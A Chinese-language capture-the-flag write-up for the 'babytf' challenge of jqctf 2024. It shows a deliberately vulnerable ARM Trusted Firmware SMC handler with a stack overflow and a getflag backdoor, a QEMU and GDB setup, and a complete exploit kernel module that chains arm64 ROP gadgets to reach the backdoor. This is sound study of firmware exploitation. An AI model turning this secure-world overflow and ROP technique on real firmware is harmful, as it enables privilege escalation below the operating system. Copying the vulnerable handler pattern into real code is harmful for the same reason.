[ayoung@blog posts]$ cat ./jqctf 2024 babytf.md

jqctf 2024 babytf

[Last modified: 2024-08-09]

分析

题目给了

------         2024/7/29     18:52         130728 bl31.elf
------         2024/7/29     18:52        3308017 flash.bin
------         2024/7/29     18:53       41724416 Image
------         2024/7/29     19:59             19 kernel.release
------         2024/7/29     19:32         286926 linux.config
------         2024/7/29     19:41             22 linux_version.txt
------         2024/7/29     18:54       96618488 qemu-system-aarch64
------         2024/7/29     18:53       13745541 rootfs.cpio.gz
------         2024/7/29     18:52           1883 smc.c

smc.c自己注册了一个存在栈溢出的smc_handler,且有后门getflag,需要传入flag地址作为参数,汇编是从系统寄存器读取flag

#include <common/runtime_svc.h>
#include <assert.h>
#include <smccc_helpers.h>

#define MY_SVC "vuln_smc"

void vuln(void *x1, size_t x2){
    char buf[0x100];
    ERROR("vuln\n");
    memcpy(buf,(void *)x1, x2);
    return;
}
char flag[0x100];
void getflag(size_t addr){
    if(addr != (size_t)flag){
        tf_log("\x0aget flag failed!\n");
        return;
    }
    asm(
        "MRS             X1, S3_3_C15_C12_0\n"
        "STR             W1, [X0]\n"
        "MRS             X1, S3_3_C15_C12_1\n"
        "STR             W1, [X0,#4]\n"
        "MRS             X1, S3_3_C15_C12_2\n"
        "STR             W1, [X0,#8]\n"
        "MRS             X1, S3_3_C15_C12_3\n"
        "STR             W1, [X0,#0xC]\n"
        "MRS             X1, S3_3_C15_C12_4\n"
        "STR             W1, [X0,#0x10]\n"
        "MRS             X1, S3_3_C15_C12_5\n"
        "STR             W1, [X0,#0x14]\n"
        "MRS             X1, S3_3_C15_C12_6\n"
        "STR             W1, [X0,#0x18]\n"
        "MRS             X1, S3_3_C15_C12_7\n"
        "STR             W1, [X0,#0x1C]\n"
    );
    if(addr == (size_t)flag){
        tf_log("\x0aget flag success!\n");
        tf_log("\x0a%s\n",flag);
    }
}

uintptr_t my_smc_handler(uint32_t smc_fid,
				   u_register_t x1,
				   u_register_t x2,
				   u_register_t x3,
				   u_register_t x4,
				   void *cookie,
				   void *handle,
				   u_register_t flags){

    ERROR("vuln_handler: SMC Call: 0x%x\n", smc_fid);
    if (smc_fid != 0xc3000000)
        SMC_RET1(handle, SMC_UNK);
    vuln((void *)x1, (size_t)x2);
    SMC_RET1(handle, 0);
}

int32_t my_own_svc_setup(void){
    getflag(0xdeadbeef);
    ERROR("vuln_handler_setup\n");
    ERROR("Your share buffer is at 0x%x, size 0x2000\n", 0x423DF000);
    return 0;
}

DECLARE_RT_SVC(
	MY_SVC,
	OEN_OEM_START,
	OEN_OEM_END,
	SMC_TYPE_FAST,
	my_own_svc_setup,
	my_smc_handler
);

没给qemu启动脚本,找之前的一个启动脚本喂给gpt,生成了一个可用的启动脚本:

./qemu-system-aarch64 \
    -nographic \
    -smp 2 \
    -machine virt,secure=on,mte=off,gic-version=3,virtualization=false,acpi=off \
    -cpu max,pauth-impdef=on \
    -d unimp \
    -m 1057 \
    -monitor /dev/null \
    -bios flash.bin \
    -initrd rootfs.cpio.gz \
    -kernel Image \
    -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2' \
    -object rng-random,filename=/dev/urandom,id=rng0 \
    -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \
    -netdev user,id=vmnic \
    -device virtio-net-device,netdev=vmnic \
    -s

进去以后提供了root权限,因此可以编写驱动,触发smc处理函数。这里题目提供了地址0x423DF000直接使用,但是物理地址,要转成虚拟地址使用

调试

传统方法,qemu开s,gdb-multiarch连上,有符号可以直接下断点

target remote :1234
file bl31.elf
b vuln

驱动编写

需要和题目给的内核版本对应,题目给了:

进入~/optee_qemu/linux目录,切换分支 kernel.release文件位置include/config/kernel.release

把config移动到linux目录下.config 依次执行,第二行生成Module.symvers文件。该文件包含符号信息,编译自己的模块必备

make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- oldconfig -j`nproc`
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- modules_prepare -j`nproc`

另起一个目录 编写Makefile:

CROSS_COMPILE = aarch64-linux-gnu-
KERNEL_SRC = /home/ayoung/optee-qemu/linux

obj-m += my_module.o

all:
	make ARCH=arm64 CROSS_COMPILE=$(CROSS_COMPILE) -C $(KERNEL_SRC) M=$(PWD) modules

clean:
	make ARCH=arm64 CROSS_COMPILE=$(CROSS_COMPILE) -C $(KERNEL_SRC) M=$(PWD) clean

rop

最后调一个arm64的rop返回后门

0x000000000e0a3418: ldp x19, x20, [sp, #0x10]; 
0x000000000e0a3414: mov x0, x19; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; 

连续控制返回地址需要

ldp x29, x30, [sp], #xxx; ret; 

exp

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/arm-smccc.h>

#define SMC_FID 0xC3000000
#define SHARED_BUF 0x423DF000
#define GETFLAG 0xE0A25A8
#define FALG_ADDR 0xE0D735C

static char user_data[0x1000];
// 0x000000000e0a3418: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; 
// 0x000000000e0a3414: mov x0, x19; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; 

static int __init my_module_init(void)
{
    pr_info("my_module: initing\n");

    struct arm_smccc_res res;
    memset(user_data, 'A', 0xf0);
    memset(user_data+0xf0, 'B', 0x8);
    memset(user_data+0xf8, 'C', 0x8);
    memset(user_data+0x100, 'D', 0x8);
    memcpy(user_data+0x108, "\x18\x34\x0a\x0e\x00\x00\x00", 0x8); // gadget1

    memcpy(user_data+0x138, "\x14\x34\x0a\x0e\x00\x00\x00", 0x8); // gadget2
    memcpy(user_data+0x140, "\x5c\x73\x0d\x0e\x00\x00\x00", 0x8); // x19=flag_addr
    memcpy(user_data+0x168, "\xa8\x25\x0a\x0e\x00\x00\x00", 0x8); // getflag

    unsigned long data_size = 0x310;

    void *va = phys_to_virt((phys_addr_t)SHARED_BUF);
    pr_info("my_module: virtual addr: 0x%llx", (unsigned long long)va);
    memcpy((char*)va, user_data, data_size);
	
    arm_smccc_smc(SMC_FID, (unsigned long)SHARED_BUF, data_size, 0, 0, 0, 0, 0, &res);
    pr_info("my_module: SMC call result: %lx, %lx\n", res.a0, res.a1);
    return 0;
}

static void __exit my_module_exit(void)
{
    pr_info("my_module: exiting\n");
}

module_init(my_module_init);
module_exit(my_module_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("My custom kernel module with SMC call");

效果